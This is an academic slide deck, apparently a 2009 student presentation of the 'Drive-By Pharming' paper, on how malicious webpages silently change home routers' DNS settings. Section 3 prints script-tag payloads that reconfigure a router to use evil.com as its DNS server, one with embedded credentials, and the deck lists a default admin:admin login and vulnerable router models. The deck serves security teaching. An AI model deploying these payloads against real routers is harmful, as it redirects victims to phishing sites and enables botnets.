Upload
gervase-douglas
View
216
Download
0
Tags:
Embed Size (px)
Citation preview
DRIVE-BY PHARMING
S. Stamm, Z. Ramzan, and M. JakobssonPresented by Anh Le
Anh Le - UC Irvine - 2009
Authors
Sid Stamm- Indiana University- Google Intern
Dr. Zulfikar Ramzan- Technical Director ofSymantec Security
Prof. Markus Jacobsson- Indiana University- Principal Scientist at Palo Alto RC
Anh Le - UC Irvine - 2009
Outline
1. Introduction
2. Preliminaries and Previous Work
3. Drive-By Pharming
4. Demo
5. New Attacks and Recent Events
6. Conclusion and Discussion
Anh Le - UC Irvine - 2009
1. Introduction Motivation:
Total control of home broadband routers○ Phishing (by changing DNS setting)○ Botnets (by changing firmware)
How: Attacker sets up an “evil” webpage Victim visits the evil webpage Victim’s home router is compromised No physical proximity required
Enablers: JavaScript-enabled web browsers Default password management of the routers
Anh Le - UC Irvine - 2009
2a. Preliminaries
DNS:Domain Name System
What’s IP of yahoo.com?
yahoo.com’s IP is 206.190.60.37
ClientDNS server(home router)
Anh Le - UC Irvine - 2009
2a. Preliminaries (cont.)
Phishing:A type of social engineering attack to obtain
access credentials
Pharming:An attack aiming to redirect a website's
traffic to another bogus website
Anh Le - UC Irvine - 2009
2b. Previous Work
InternetInternet
Detecting … … Your internal subnet is10.0.0.0/24!
1. Internal Net Discovery [Kindermann 2003]• Java Applet
2. Host Scanning [Grossman 2006, SPI Labs 2006]• Java Script
• Fingerprint router using default password and image name
Detecting … … You have a Linksys router, and its IP is 10.0.0.1!
Anh Le - UC Irvine - 2009
Outline
1. Introduction
2. Preliminaries and Previous Work
3. Drive-By Pharming
4. Demo
5. New Attacks and Recent Events
6. Conclusion and Discussion
Anh Le - UC Irvine - 2009
3. Drive-By Pharming
InternetInternet
DNS SettingChanged!
Anh Le - UC Irvine - 2009
3. Drive-By Pharming
How is it possible?HTTP Get Configuration
Off-site script inclusion
How about password-protected?
http://10.0.0.1/apply.cgi?dns=new-dns-server.com
<script src=“http://10.0.0.1/apply.cgi?dns=evil.com”></script>
<script src=“http://usr:[email protected]/ apply.cgi?dns=evil.com”></script>
Anh Le - UC Irvine - 2009
3. Drive-By Pharming (cont.)
Assumptions:1. JavaScript-Enabled
Web Browser
2. Default Password Management
Vulnerable Routers: Netgear WGR614 D-Link DI-524 Linksys WRT54G Cisco 806, 826, … …
47.5%
47.5%
5.0%
American Web Users
JS + Password Password JS + Default Password No JS
Anh Le - UC Irvine - 2009
3. Drive-By Pharming (cont.) Verizon
[Modem + Router]MI424-WR
admin:admin
Anh Le - UC Irvine - 2009
4. Demo
Anh Le - UC Irvine - 2009
Outline
1. Introduction
2. Preliminaries and Previous Work
3. Drive-By Pharming
4. Demo
5. New Attacks and Recent Events
6. Conclusion and Discussion
Anh Le - UC Irvine - 2009
5. New Attacks and Recent Events New Attacks:
Growing Zombies/Botnets○ By installing evil firmware
Viral Spread○ Router auto-recruits routers
Recent Events: Kaminsky DNS Vulnerability (July 2008)
○ cache poisoning attacks on any nameserver! Router Botnets (March 2009!)
Anh Le - UC Irvine - 2009
5. Conclusion and Discussion
Routers with default password management are easily compromised
Browsers as conduits of attacks to internal network
Army of router botnets
Anh Le - UC Irvine - 2009